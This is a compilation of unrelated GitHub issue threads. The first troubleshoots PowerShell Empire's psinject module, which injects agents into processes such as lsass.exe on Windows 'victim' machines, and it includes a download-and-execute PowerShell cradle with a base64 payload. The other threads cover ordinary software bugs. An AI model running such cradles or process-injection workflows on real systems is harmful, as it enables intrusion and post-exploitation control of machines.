PSinject doesn't send agent back.

Empire Version
1.5
OS Information (Linux flavor, Python version)
Parrot 3.1
Expected behavior and description of the error, including any actions taken immediately prior to the error. The more detail the better.
I try to use the psinject function, it starts the debug job, but then doesn't return any agent. I tried user processes and system processes.
Screenshot of error, embedded text output, or Pastebin link to the error
Any additional information
I looked up the previous issue involving this, and it seems to be a different problem.
Victim Os is windows 10 latest build. There are no other issues other than the psinject no sending an agent back.

What processes are you injecting into?

Some example of the top of my head are svchost, skype, explorer.exe, lsass.exe, smss.exe and csrss.exe.
I also tried both x64 and x86 programs and they all don't return an agent of any kind, but everything else works fine except for the bypassuac, which opens up an sql configuration on the victim pc. I assume that is due to settings on the victim.

Is .NET v2 installed on the machine? Or only v4?
On Sep 15, 2016 3:12 PM, "DIRTYPIRATE"<EMAIL_ADDRESS>wrote:

Some example of the top of my head are svchost, skype, explorer.exe,
lsass.exe, smss.exe and csrss.exe.
I also tried both x64 and x86 programs and they all don't return an agent
of any kind, but everything else works fine except for the bypassuac, which
opens up an sql configuration on the victim pc. I assume that is due to
settings on the victim.
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/PowerShellEmpire/Empire/issues/315#issuecomment-247423549,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AFMl6QJ7QDTk3z2g0yi0gF79Ghr_Hmbyks5qqZiwgaJpZM4J9aav
.

On the victim or attacker machine? And how would I check? I can't seem to find it in programs.

On the victim machine.  Try running the PowerShell listed here on the victim machine:
http://stackoverflow.com/a/3495491/2022780
Alternative, in Windows, go to "Turn Windows Features On or Off" and see if .NET 3.5 is installed (it installs v2 automatically).  The only reason I ask this is because there's a bug sometimes in PSInject/UnmanagedPowerShell where it tries to load the wrong version of the .NET framework.  We will be releasing an update next week at DerbyCon that should have a fix.

That is what showed on the victim machine.

@leechristensen I see both OP's behaviour and the one you describe in separate instances. On a 2K8R2 host, attempting to run the standard powershell -enc stager fails with a .NET 3.5 error and I have to manually enable the feature (obviously not a workable solution).
However even after I do so and get an agent successfully running, psinject never returns a new agent and does not return any logging or messaging back to me. Do you have any suggestions for troubleshooting this?

We'll be releasing a new version of Empire in a few days and PSInject has
been updated in it.  It should (hopefully) address the issues identified in
this bug.

@DIRTYPIRATE - can you try the psinject version in the 2.0_beta branch (https://github.com/adaptivethreat/Empire/tree/2.0_beta) that was released yesterday?

It's working for me on Server 2012 R2, Windows 8.1 and Server 2008 R2. FWIW, I had to reboot after installing .NET 3.5 on Server 2008 R2 to get it to call back (install -> powershell launcher worked but install -> reboot was required before psinject worked).
Is the default .NET2.0 on Server 2008 R2 unsupported (i.e., .NET 3.5 is the minimum supported version) or do I have something funky going on?

With the new version of Empire(released yesterday), .NET 2 should work.
Can you confirm if it does/doesn't?

@leechristensen still no luck on a vanilla server 2008 r2 install here, which only has .NET 2.0. Previously I could remove the window hidden param and see a .NET 3.5 error but now I get no output.
Installing .NET 3.5 causes it to start working, though. This is using the multi/launcher stager with the powershell launcher.

Dang... :) Thanks for testing.  I'll take a look at it here soon
post-DerbyCon and push a fix.

fyi Lee, I reported a similar [and as of yet unresolved - ;-) ] issue with psinject last year here: https://github.com/adaptivethreat/Empire/issues/68
If I psinject into another process running as the same user as my current process it works fine, but if I psinject into a SYSTEM process coming from a user process that has a High Integrity Token with full local Administrators privileges, it fails silently and I never get an agent call back from the psinject.  Target system is a domain joined Windows 7 Enterprise x64 and I've even tried this with a Domain Admin account in the lab.

Hey, quick issue, not sure if its me being dumb; I started my computer, launched empire to see if the new patch fixed the issue here, and I get an error on any open port when I run a listener.
"Error starting listener in port 8080: [Errno 90] Cannot assaign requested address"
I just wanted to confirm that the port is not used, and the host is my public ip address, and the port is forwarded.

the beta_2,0 release doesn't fix the problem... Is there no hope D:

@atkinsj Could you try running the following code on your 2008 R2 instance?

Start-Process notepad
iex ((new-object net.webclient).DownloadString('https://raw.githubusercontent.com/adaptivethreat/Empire/2.0_beta/data/module_source/management/Invoke-PSInject.ps1'))
Invoke-PSInject -ProcName notepad -PoshCode 'WwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZABXAGkAdABoAFAAYQByAHQAaQBhAGwATgBhAG0AZQAoACIAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzACIAKQA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAiAFAAbwBwACAAcABvAHAAIQAiACkAOwA='

On my fresh 2008 R2 instance PSInject works just fine, so I I'm trying to isolate if the issue is in the PSInject code or somewhere further up the chain.

@DIRTYPIRATE are you still having issues on Windows 10 when you use the 2.0 branch(https://github.com/adaptivethreat/Empire/tree/2.0_beta)? It's worked for me in all my tests.

@leechristensen so PSInject in Empire 2.0 beta works fine for me if .NET 3.5 is installed -- Empire itself only works if .NET 3.5 installed. Did you want me to try PSInject with the default .NET 2.0? I'm happy to of course but the bigger issue is that Empire itself doesn't work under that version.

@atkinsj To start, could you test if PSInject (the snippet I posted) works when only .NET 2.0 is installed?

@leechristensen Your code snippet produces the expected results on my fully updated 2K8R2 host with both .NET 2.0 and .NET 3.5 (rebooted in between enabling the feature).

I would like to say that updating to empire Beta 2.0 has fixed this issue.

Thank you for the info. Closing this issue!


DeepLink to open an custom URL in InAppWebView (from a push notification)

Environment
Flutter version:  3.3.8
Plugin version:  5.7.1
Description
What you'd like to happen:
From a push notification, to open a custom URL  in my InAppWebView app
Alternatives you've considered:
Still digging around deeplink

Hello @chrisvidal
Did you find any solution to do this?

Yes, I implemented this package https://pub.dev/packages/uni_links

How? @chrisvidal

How? @chrisvidal

by checking their doc and examples

How? @chrisvidal

by checking their doc and examples

Can you share how you implemented it with inappwebview

How? @chrisvidal

by checking their doc and examples

Can you share how you implemented it with inappwebview

nvm


pkg/instance: Use syz or c source file when testing

Currenlty only syz file is taken into account when testing.
Use also c source file if available. Still use syz as a "main"
reproducer.

Before sending a pull request, please review Contribution Guidelines:
https://github.com/google/syzkaller/blob/master/docs/contributing.md

FYI, I slightly fixed up the file presence check:
https://github.com/google/syzkaller/commit/49bb6b93d549c8ccb088328cac049d4b11679581


chore: Add Table of Contents to CONTRIBUTING.md

This PR adds a Table of Contents to the documentation, making it easier for users and contributors to navigate through the document and find specific sections quickly. The Table of Contents includes links to various sections of the the contributing guide, providing a clear overview of the available content. This enhancement improves the overall accessibility and usability of the documentation, enhancing the experience for all users.

@adarsh-jha-dev Thanks. Looks like the sign-off still have problems. Take a look in the Details link of DCO check.

Hey @ngjaying due to some error with the signing off commit message, i am closing this PR and have raised a new PR #2365 for the same.


Drop code coverage limit to enable build pass

In order to enforce travis build requirement for PRs, we need the build to pass!
This PR reduces the code coverage requirements for tests to get us past the code coverage check.
Signed-off-by<EMAIL_ADDRESS><EMAIL_ADDRESS>

@nklincoln Can we close coverage check for now. New PRs may break limit of this PR.


Added an option for volume for each sound

This pull request introduces a new feature to the plugin, allowing users to specify volume levels for individual sounds using human-readable values (0-100). The input volume values are then correctly converted to the range expected by the paplay command (0-65536) before playing the sound.
The addition of volume control enhances the usability of the plugin by giving users the flexibility to adjust sound levels according to their preferences. This feature improves the overall user experience and makes the plugin more versatile.

Thank you very much!


[WIP] [GLUTEN-6736][VL][1.2] Port #6658

What changes were proposed in this pull request?
[CORE] Propagate SQLConf to code block of TaskResources.runUnsafe #6658
How was this patch tested?

Error status: PAUSE
Exception: VeloxRuntimeError
Error Source: RUNTIME
Error Code: INVALID_STATE
Reason: Error status: PAUSE
Retriable: False
Expression: stop == StopReason::kBlock || stop == StopReason::kAtEnd || stop == StopReason::kAlreadyTerminated || stop == StopReason::kTerminate
Function: next
File: /data/git/incubator-gluten/ep/build-velox/build/velox_ep/velox/exec/Driver.cpp
Line: 370
Stack trace:
# 0  _ZN8facebook5velox7process10StackTraceC1Ei
# 1  _ZN8facebook5velox14VeloxExceptionC1EPKcmS3_St17basic_string_viewIcSt11char_traitsIcEES7_S7_S7_bNS1_4TypeES7_
# 2  _ZN8facebook5velox6detail14veloxCheckFailINS0_17VeloxRuntimeErrorERKSsEEvRKNS1_18VeloxCheckFailArgsET0_
# 3  _ZN8facebook5velox4exec6Driver4nextERSt10shared_ptrINS1_13BlockingStateEE
# 4  _ZN8facebook5velox4exec4Task4nextEPN5folly10SemiFutureINS3_4UnitEEE
# 5  _ZN6gluten24WholeStageResultIterator4nextEv
# 6  Java_org_apache_gluten_vectorized_ColumnarBatchOutIterator_nativeHasNext
# 7  0x00002ad3edce0d70

Checks passed after revert OverAcquire: https://github.com/apache/incubator-gluten/actions/runs/11586156989


Name reconstruction efficiency pivots

These are two small changes to x1t_sr1.py:

The bias and reconstruction efficiency pivot parameter names are currently bias_pivot_pt1, bias_pivot_pt2 and scalar. These names end up in fit results, and have to be specified by the user (e.g. in the Likelihood construction, if you want to fit these parameters). This gives them a bit more descriptive names, s1_reconstruction_bias_pivot, s2_reconstruction_bias_pivot and s1_reconstruction_efficiency_pivot.
In cal_rec_efficiency_tf, an if pivot_pt < 0 is used. Tensorflow should be able to resolve this (see here), but it could be a problem for certain versions, or perhaps certain orders in which the functions are traced. Sophia ran into a problem with this in #101. This replaces the if with an explicit (but less readable) tf.cond, and renames cal_rec_efficiency_tf to interpolate_reconstruction_efficiency.

Thanks Jelle for the improvements! I think Cristian has made some other merges into master since, but please feel free to merge this PR into master.


Added rounded box component and story

could you move it to shapes.tsx? then they're all together.

Yes but shapes.tsx contains generated shapes from existing THREE components, I thought it would be a better idea to have special cases in different files, since this component is quite different from others. But no problem to have them in the same file anyways. What do you think?

i think that's fine, it's a shape and a super useful one at that. would be a good fit to put it where the others are. it's all just a flat bundle anyway and everything gets pumped into one big distro file. but this way we have less files on the dev end.

folder would also make sense, maybe even more than files. because we already categorize on the GH front but still we have a bunch of files. if you want, make /shapes and untangle the three shapes, then roundedbox also gets its own file. would you like that better?

Maybe consider changing the name of radius0? It feels weird

dude arent you on holidays or something? be gone and enjoy! 😄


[OAP-1924][OAP-CACHE]Decouple hearbeat message and use conf to determine whether to report locailty information

We are using external DB to store cache locality info, but the old OAP report mechanism still reports cache locality to the driver through RPC. Need to decouple this.
1:Using external DB => not report cache locality to the driver through RPC. But still, need to report cache metrics to the driver through RPC.
2:Using report mechanism =>follow current behavior.
In the code, it will check the configuration of whether to use Redis.
If used, just report metrics information.
If not, report both metrics and locality information.

@offthewall123  Could you please help to review this?

OapFileSourceScanExec should also be modified. @Aaxida

LGTM. @jikunshang

LGTM. Merged.
By the way, branch-1.0 also need this PR, right? If so, I will do cherry-pick .

LGTM. Merged.
By the way, branch-1.0 also need this PR, right? If so, I will do cherry-pick .

yes

I tried to cherry-pick directly, but there are some conflicts.
Can you help port this PR to branch-1.0? You can submit another PR and link to the same issue(1924) @Aaxida


webpack 5 support

Update based on @rising-entropy's PR
It is working with at lease "webpack": "5.74.0",

👍


Restore cursor visibility when command fails

When the command fails, the cursor remains hidden and the shell unusable, forcing the user to reset it.

I had a look into this, and in theory the x/wait library we are using has already some exit-handling logic to restore cursor visibility: https://github.com/denosaurs/wait/blob/0.1.12/mod.ts#L102-L106
Not sure whether that one is not triggering for some reason, or if there is some other bug in that area.
I haven't seen this happening locally so far, do you maybe remember what was the flow leading to process exit? Did you maybe signal-kill it from your side, or did exit or maybe stack-traced on its own?

it happens whenever the deployment fails. Any syntax error will trigger this.

I'm on MacOS btw

I'm not sure, but this may be something terminal specific.
On my Linux terminal (TERM=xterm-256color) the cursor-visibility toggling works fine even on deployment failures:

The underlying x/tty library uses XTerm control sequences, so you could manually reproduce the low-level behavior with the following:

show -> printf '\033[?25h'
hide -> printf '\033[?25l'

Though I'm not fully convinced about this being terminal-specific, as the cursor hiding/showing logic is called in many places also on a successful flow. If this was a low-level problem with control codes, I'd have expected the cursor to disappear in all cases.


Comprehensive marble tests for count()

Should duplicate the current RxJS 3/4 tests
Should adhere to our contribution guidelines and operator authoring docs.

I assign myself. (Can't actually do that in Github so I'll just comment :P)

Ok, I remove my assignment because I noticed #406 exists, just before pushing. :P
@blesh we need to really start using the assignee feature here.

@staltz can this be closed now? Do we have parody with the old tests?

Yes, can be closed


Mercenary Abilities buff

Mercenaries have increased stats, such as health and damage, and I believe this should be carried over to active abilities, such as  Magrail Munitions doing increased damage.

that'd change vanilla behavior of Yamato (other merc BC spells aren't reachable in vanilla due to vanilla bug)
Affected Spells:
Marine: Magrail
Marauder: Magrail
Medic: heal (already boosted for merc)
Tank: Spider Mines
Viking: W.I.L.D Missiles
Banshee: Rocket Barrage
Reaper: G-4 Cluster Bombs, Spider Mines
Battlecruiser: Yamato, Missile Pods, Defensive Matrix
Thor: 250mm cannons, 330mm cannons


Qualification of quartical transfer calibration

Neither a bug nor a feature, but I have agreed with @landmanbester to make raw flagged data available from the Lunar project for this purpose. I will give you short flagged L-band data to start with (30 minutes total off transit for the moon).
There are a number of things to test, namely:

bandpass and amplitude transference to secondaries
phase transference from secondaries to target
parallactic angle corrections
crosshand phase corrections when |X-Y| phases are less than 90 and more than 90, which has the potential to reverse signs
transference to the moon of the crosshand phases

The datasets should show the handedness correctness of the corrected data.
Rick is also making similar VLA databases available to me which I will process with CASA and give you similar sets to test the circular feed path.

Ok, I think that both of these requests will be in main once the tests pass - I will then get them into stimelation ASAP. In principle, using K.type=pure_delay and G.interp_mode=amp should allow you to confirm your suspicions @landmanbester.

Awesome, thanks for the rapid response @JSKenyon

Ok I've made the preflagged linear lunar databases available that we took with MeerKAT in 2021 for all three bands: UHF, L and S(0). This will give good testing grounds because the H-V phases are spread between the systems, with S markedly wired backward and UHF varying on a receiver by receiver basis - I think this is more to do with the signal chain than the actual dipole wiring and should be treated as calibration error as such.
As discussed this has the potential to flip signage in the -arctan(V/U).
The databases contain a bandpass and leakage calibrator PKS 1934 (just use the Reynolds-Stevens 2016 model in setjy to set the scale -- it should be good enough for this test). 3C286 as the HV phase calibrator and a nearby gain calibrator that the gain phases and delays can be computed from @JSKenyon
The Moon ephemeris must be treated as a special case because it is not stationary in ra/dec, so you will need to compute the ra / dec for each few timestamps.
As discussed this should be a good test to check the handedness of the corrected data complies with IAU convention

Not quite there yet, see https://github.com/ratt-ru/QuartiCal/issues/251#issuecomment-1639717258

@bennahugo I want to have a go at this. Can you point me at the lunar data again please?

just to understand what you want to do end to end? The test case I reported in #251  was just KGB. Do you want to retest that?

I want to test all the points you mention at the top. @JSKenyon is working on a crosshand phase solver, I think we will hear about it in the meeting tomorrow. But want to get started so long. Step 1 - locate data

ok #251 data is here: bhugo@clapton:~/LunarPolarimetry/absleakage_study/s0/s0_offsets.flagged.avg.uncorrected.ms
S band data for you here: bhugo@clapton:~/LunarPolarimetry/S0Band$

If you want a real test I can give you P band data for the VLA. The only HV phase calibrator is DA 240 which has a resolved northern lobe which will put an arctan solver to the test


React Native Invalid Token Specified

Hi, I'm struggling with jwt-decode in my react native app, whenever I start expo i get Invalid Token Specified  error, what am i missing?  Here is my code:
var jwt_decode = require('jwt-decode');
import { AsyncStorage } from 'react-native';
const initialState = {
  user: null
};
if (AsyncStorage.getItem('jwtToken')) {
  const decodedToken = jwt_decode(AsyncStorage.getItem('jwtToken'));

  if (decodedToken.exp * 1000 < Date.now()) {
    AsyncStorage.removeItem('jwtToken');
  } else {
    initialState.user = decodedToken;
  }
}

const AuthContext = createContext({
  user: null,
  login: (userData) => {},
  logout: () => {}
});

function authReducer(state, action) {
  switch (action.type) {
    case 'LOGIN':
      return {
        ...state,
        user: action.payload
      };
    case 'LOGOUT':
      return {
        ...state,
        user: null
      };
    default:
      return state;
  }
}

function AuthProvider(props) {
  const [state, dispatch] = useReducer(authReducer, initialState);

  login = async (userData) => {
    try{
      await AsyncStorage.setItem('jwtToken', userData.token);
      dispatch({
      type: 'LOGIN',
      payload: userData
    });
  } catch(e) {
    // save error
  }
  }

  logout = async () => {
    try{
    await AsyncStorage.removeItem('jwtToken');
    dispatch({ type: 'LOGOUT' });
    } catch(e) {
      // save error
    }
  }

  return (
    <AuthContext.Provider
      value={{ user: state.user, login, logout }}
      {...props}
    />
  );
}

export { AuthContext, AuthProvider };`

I had the same issue with keycloak but i realized that the package that i was using had already decoded the token for me. I believe you cant decode the token twice

I had the same issue with keycloak but i realized that the package that i was using had already decoded the token for me. I believe you cant decode the token twice

This solved my issue, Thank you!


Make the dataviz calculate the most qualified outliers and list them out

Make it list the counties that may be in most need of "promise area" status.  Maybe calculate it based on distance from 0,0
Perhaps link it up to the points in the graph.

done


Helix Deployment script errors for "windows.11.amd64.android.open" Queue

[x] This issue is blocking
[ ] This issue is causing unreasonable pain

This issue is blocking the deployment of Windows 11 machines into the "windows.11.amd64.android.open" Helix queue.
While trying to deploy new Windows 11 machines into Helix the Helix deployment script ran into a couple errors, and failed to complete. I have pasted screenshots of the errors below.
Test machine: DNCENGWIN-128
User: dotnet-bot
Access: can only be connected to via https://mlskvmui/ as these are on a isolated network that does not allow RDP
First error:

Second error:

I'm following the doc we have for the windows 10 connected android machines in our OneNote here
Not sure if that needs to be changed for Windows 11
I left the CMD script window open on DNCENGWIN-128 in state for investigation.

Release Note Category

[ ] Feature changes/additions
[ ] Bug fixes
[ ] Internal Infrastructure Improvements

Release Note Description

The first error looks like it was a network error when trying to contact the storage account. I tried running the script again and it didn't repro.
Currently looking into the VC redist errors.

the VC redist installer was waiting for a reboot. I restarted the machine and then ran the script again and the only errors I saw were related to the runner user already existing and the windows defender exclusions already being there.

@parose1 in order to diagnose whether this reboot is something that the OS was waiting for, or if we need to add a reboot to the artifact (can we add a reboot to the artifact in these on-prem scenarios?), would it be possible for you to run through your setup, but do a fresh reboot before running the setup script?

@riarenas sure I have some more fresh machines that I can test on. I'll try rebooting just before running the script and let you know how it goes.
The windows 10 machines also error that the runner account already exists if you re-run the script, so we typically delete that account before a re-run. I will try that to if I have to re-run the script at all.

@riarenas I tried again on machine DNCENGWIN-129, rebooting right before running the Helix deployment script and verifying there was no pending reboots for updates. I still got the same VC redist error.
I then checked if the runner account was created but I did not see it in computer management so I rebooted and tried running the script again. This time I got errors for packages already existing in c:\helix-prep. To try and get around this I deleted the following directories the script creates:
c:\cores
c:\h
c:\helix
c:\helix-prep
c:\osob
I rebooted again and tried running the script one more time but if failed for the error below:

I have left DNCENGWIN-129 in that state if you want to take a look. I also setup DNCENGWIN-130 just before I would run the script if you need a fresh machine that hasn't had the script run yet to test on. Let me know if you need anything else to help investigate.

Thanks @parose1 I think that's good info for me to continue! I'll check the machines out.

I got a chance to look at the machines:
The debuggers error in -129 repros every time, but I wasn't able to repro it in -130 or when I looked at -128, so it makes me think this is something flaky with the machine or a side effect of one of the other failed artifacts.
For the clean machine, I followed these steps:

I downloaded the VCRedist artifact and installed it manually: https://netcorenativeassets.blob.core.windows.net/resource-packages/external/windows/vc-redist/14.34/vc_redist.x64.exe and installed it the same way the artifact does it: with the /install /passive /norestart /log  flags.
After running this, I checked the installer again, and it was requesting a reboot to apply changes, I rebooted the machine.
After this reboot, I ran the helix installation scripts, and the scripts finished running without errors and I was logged out of the machine and the runner account logged in and promptly kicked me from the kvm session.

I think this means that there is something going on with the windows-vc-redist artifact in this machine configuration. I'm unsure of the next steps here. It seems incorrect to download and install the vc redistributable before running the scripts because this is something we include in the queue configuration, but it also means we need a reboot in the middle of the execution of the scripts, even before we do the final reboot post artifact installation.

DDFUN OneNote instructions have been updated with the work around for this issue. Will update the artifact next.

PR: https://dnceng.visualstudio.com/internal/_git/dotnet-helix-machines/pullrequest/31784


Given your pretrained model, how can I evaluate it on IU dataset?

First of all, you should comment out the code-block on the red rectangles in trainer.py. This will make the model run on evaluation mode

Secondly, after downloading the pre-trained model, copy the path location of the downloaded model file, and type in the --resume argument a default value with the path location in string.
something like this:
parser.add_argument('--resume', default='path\to\model\file', type=str, help='whether to resume the training from existing checkpoints.')
You could find this in main.py file.


[Feature] Add WidevineCdm plugin

Description
I think it would be a great idea to add the WidevineCDM plugin into the app, because it can block certain website like Amazon Prime Video for example
See that link : https://github.com/electron/electron/blob/master/docs/tutorial/using-widevine-cdm-plugin.md
Steps to reproduce issue
-> Go on Amazon Prime Video and Log In
-> Try to play a video
Details

Are you nativefying a public website?
--> Yes, https://www.primevideo.com/
Feature request? Have you looked at nativefier --help to see if an existing option could fit your needs?
--> Nothing seems to deal with that in help
Full nativefier command used to build your app: nativefier --name "Prime Video" "https://www.primevideo.com/"
Version of Nativefier (run nativefier --version): v7.4.1
Version of node.js (run node --version): v6.11.1
OS: Windows 10 Enterprise

I'm new with nativefier and I had the same problem with  Spotify, browsing the issue I think it was fixed but is have to be approved before going in the main branch: https://github.com/jiahaog/nativefier/pull/440
Sorry I'm a newbie with github technical terms,
Regards :octocat:

Tried creating app for Amazon Prime Video on Ubuntu 19.04. Installed the latest widevine 4.10.1196.0
from here - https://gist.github.com/ruario/3c873d43eb20553d5014bd4d29fe37f1 and run nativefier for primevideo. When I try to play video from app, I am getting below issue

Any pointer how to enable running protected content?

I'm getting the same problem trying to embed myCANAL (French TV broadcast service) into an app on macOS : Can't open DRM-protected content.

Still not working.  Any workaround or fix?

I would like to know if the fix is available as well?

Would using this instead of the default electron give use WidevineCDM support? https://github.com/castlabs/electron-releases

Thanks to @sorhtyre over at https://github.com/jiahaog/nativefier/pull/1073 , which uses the alternative wvvmp Electron distribution by CastLabs, this is now solved. I'll cut a release soon.


The Optimum Quickstart does not work with Optimum 1.4.0

Is your feature request related to a problem? Please describe.
The quickstart page is here. The code that it provides does not work with Optimum 1.4.0 and as such I do not have a clear idea of how to use the library.
The quickstart page has three code blocks. The first one converts the model to ONNX and runs without error:
import os
from optimum.onnxruntime import ORTModelForSequenceClassification
from transformers import AutoTokenizer
model_checkpoint = "distilbert-base-uncased-finetuned-sst-2-english"
save_directory = "tmp/onnx/"
file_name = "model.onnx"
onnx_path = os.path.join(save_directory, "model.onnx")
# Load a model from transformers and export it through the ONNX format
model = ORTModelForSequenceClassification.from_pretrained(model_checkpoint, from_transformers=True)
tokenizer = AutoTokenizer.from_pretrained(model_checkpoint)
# Save the onnx model and tokenizer
model.save_pretrained(save_directory, file_name=file_name)
tokenizer.save_pretrained(save_directory)

The second code block then attempts to optimize the ONNX model and immediately fails:
from optimum.onnxruntime.configuration import AutoQuantizationConfig
from optimum.onnxruntime import ORTQuantizer
# Define the quantization methodology
qconfig = AutoQuantizationConfig.arm64(is_static=False, per_channel=False)
quantizer = ORTQuantizer.from_pretrained(model_checkpoint, feature="sequence-classification")
# Apply dynamic quantization on the model
quantizer.export(
    onnx_model_path=onnx_path,
    onnx_quantized_model_output_path=os.path.join(save_directory, "model-quantized.onnx"),
    quantization_config=qconfig,
)

The error is:
---------------------------------------------------------------------------
TypeError                                 Traceback (most recent call last)
Cell In [72], line 5
      3 # Define the quantization methodology
      4 qconfig = AutoQuantizationConfig.arm64(is_static=False, per_channel=False)
----> 5 quantizer = ORTQuantizer.from_pretrained(model_checkpoint, feature="sequence-classification")
      6 # Apply dynamic quantization on the model
      7 quantizer.export(
      8     onnx_model_path=onnx_path,
      9     onnx_quantized_model_output_path=os.path.join(save_directory, "model-quantized.onnx"),
     10     quantization_config=qconfig,
     11 )

TypeError: ORTQuantizer.from_pretrained() got an unexpected keyword argument 'feature'

When I look at code from the ONNX runtime Optimization page I see code which is more like:
from optimum.onnxruntime import ORTOptimizer

optimizer = ORTOptimizer.from_pretrained("path/to/model")

If I run this with the exported ONNX model from above (substituting "path/to/model" with onnx_path) I get:
---------------------------------------------------------------------------
ValueError                                Traceback (most recent call last)
Cell In [74], line 3
      1 from optimum.onnxruntime import ORTOptimizer
----> 3 optimizer = ORTOptimizer.from_pretrained(onnx_path)

File ~/.local/share/virtualenvs/blog-1tuLwbZm/lib/python3.10/site-packages/optimum/onnxruntime/optimization.py:90, in ORTOptimizer.from_pretrained(cls, model_or_path, file_names)
     88     return cls(onnx_model_path, config=config)
     89 else:
---> 90     raise ValueError(f"Unable to load the model from {model_or_path}.")

ValueError: Unable to load the model from tmp/onnx/model.onnx.

Describe the solution you'd like
The quickstart documentation should work with the latest version of the library.

The ORTQuantizer.from_pretrained works if passed the folder (save_directory). Then it fails because:
---------------------------------------------------------------------------
AttributeError                            Traceback (most recent call last)
Cell In [79], line 9
      6 quantizer = ORTQuantizer.from_pretrained(save_directory)
      8 # Apply dynamic quantization on the model
----> 9 quantizer.export(
     10     onnx_model_path=onnx_path,
     11     onnx_quantized_model_output_path=os.path.join(save_directory, "model-quantized.onnx"),
     12     quantization_config=qconfig,
     13 )

AttributeError: 'ORTQuantizer' object has no attribute 'export'

Changing the quantizer.export method call to quantize as in:
quantizer.quantize(
    save_dir=save_directory,
    quantization_config=qconfig,
)

Works and might be equivalent? It produces a model_quantized.onnx in that folder.

After doing this the final cell works if you change the file_name to match what was produced:
from optimum.onnxruntime import ORTModelForSequenceClassification
from transformers import pipeline, AutoTokenizer

model = ORTModelForSequenceClassification.from_pretrained(save_directory, file_name="model_quantized.onnx")
tokenizer = AutoTokenizer.from_pretrained(save_directory)

cls_pipeline = pipeline("text-classification", model=model, tokenizer=tokenizer)
results = cls_pipeline("I love burritos!")

The results are [{'label': 'POSITIVE', 'score': 0.9996811151504517}]

The static quantization section refers to a preprocess_fn which is not defined on the page:
from functools import partial
from optimum.onnxruntime.configuration import AutoCalibrationConfig

# Create the calibration dataset
calibration_dataset = quantizer.get_calibration_dataset(
    "glue",
    dataset_config_name="sst2",
    preprocess_function=partial(preprocess_fn, tokenizer=quantizer.preprocessor), # HERE
    num_samples=50,
    dataset_split="train",
)
...

Thanks a lot for sharing this detailed feedback @matthewfranglen - this is really helpful!
We're currently working on overhauling the docs, so fixing the quickstart will be number 1 priority this week :)

I'm glad to hear that. The library seems really great so far. I was hoping that these notes would be helpful so I'll continue updating them as I go.


Bugfix/home page typo

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.:x: SamehHamdyKing sign nowYou have signed the CLA already but the status is still pending? Let us recheck it.


374 whitelabelling in publish

[ ] Move other assets

[ ] index.html -> courageleague.html
[ ] manifest.json
[ ] background.jpg
[ ] font.ttf
[ ] loading.gif
[ ] social.png

[ ] Find a way of varying custom.css per .html file
[ ] Test whether environment variables correctly work with urlrewrite in azure

[ ] Add variable for courageleague

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

0 of 48 (0.0%)  changed or added relevant lines in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage decreased (-0.5%) to 93.455%

Changes Missing Coverage
Covered Lines
Changed/Added Lines
%

CourageScores/ClientApp/src/whitelabel-publish.js
0
48
0.0%

Totals

Change from base Build<PHONE_NUMBER>:
-0.5%

Covered Lines:
6115

Relevant Lines:
6324

💛  - Coveralls


Add lispy to evil-mc-incompalible-minor-modes

Lispy commands in insert-state register only on one cursor, so this disables lispy temporarily when using evil-mc.

Thanks!


Integration

Hi,
I want to use your code in another application that has a very old dds reader and is not updated or working anymore...
The question is how do i use your app into this function, how to call it:
private void DDSFile(FileRecord selectedRecord)
{
    var buffer = selectedRecord.ReadData(path);
    ImageOutput.Visibility = Visibility.Visible;
    //var dds = new DDSImage(buffer);
    using (var ms = new MemoryStream())
    {
        //dds.ddsImage[0].Save(ms, ImageFormat.Png);
        var bmp = new BitmapImage();
        bmp.BeginInit();
        bmp.CacheOption = BitmapCacheOption.OnLoad;
        bmp.StreamSource = ms;
        bmp.EndInit();
        ImageOutput.Source = bmp;
    }
}

Old calls are commented.
Thank you in advance for any small help.

I think the following changes should work for you. I can't tell what type buffer is exactly, but I guess its a byte[] so should be fine.
using Imaging.DDSReader; // <--

private void DDSFile(FileRecord selectedRecord)
{
    var buffer = selectedRecord.ReadData(path);
    ImageOutput.Visibility = Visibility.Visible;
    var dds = DDS.LoadImage(buffer); // <--
    using (var ms = new MemoryStream())
    {
        dds.Save(ms, ImageFormat.Png); // <--
        var bmp = new BitmapImage();
        bmp.BeginInit();
        bmp.CacheOption = BitmapCacheOption.OnLoad;
        bmp.StreamSource = ms;
        bmp.EndInit();
        ImageOutput.Source = bmp;
    }
}

I get this and other error no matter how i try:....Details: Object reference not set to an instance of an object.
The "buffer" is byte[] yes.

I'm not sure, it looks like it should work. I don't have PoE to test it out, sorry.


enable pip caching in CI + add pyproject.toml

Changes made by this PR can be summarized as follows:

Use an updated version of actions/setup-python so as to allow the caching of pip.

@mblondel Request for Review

I merged with main in 0b7ab26, maybe that helps.

These errors are independent of the changes made by this PR, only the actions/setup-python step of the workflow is affected by this PR.
Also now that we are trying to cache the dependencies, we should remove the "Install dependencies" step.

The failures were because this revert was not in the latest JAX release yet. Now it is and we're back to green.

Because of af3d4a2, instead of a separate pylintrc and setup.py, we now would have all the configurations within the pyproject.toml file leading to a overall minimal code structure. I recently proposed similar changes to geoopt and flax.
@mblondel thoughts on this ?

@mblondel Request for Review

@mblondel sorry for that, I had to change the build-backend to setuptools. This should pass now 🤞🏽

@mblondel @yashk2810 Request for Review

Shifted to #411


Allow Hard Coding TZ

A lot of us avoid geo tagging due to the huge privacy problems, see espi0n/tinfoleak for one example.
That said, at least 99% of my tweets come from one TZ (UTC-4) / US-East. Allowing one to hardcode one TZ likely be a popular use case.
You code do something like:
pseudocode {if geotags == null} as a global check, then ignore timestamps and lat/lon, offer hard coded TZ OR graph everything in UTC, as that would also be accurate.
@danamlewis also expressed interest in the hardcoded by end user TZ option. It's not as useful for people like you who bounce around a lot, but could generate a lot more figures from the current code.

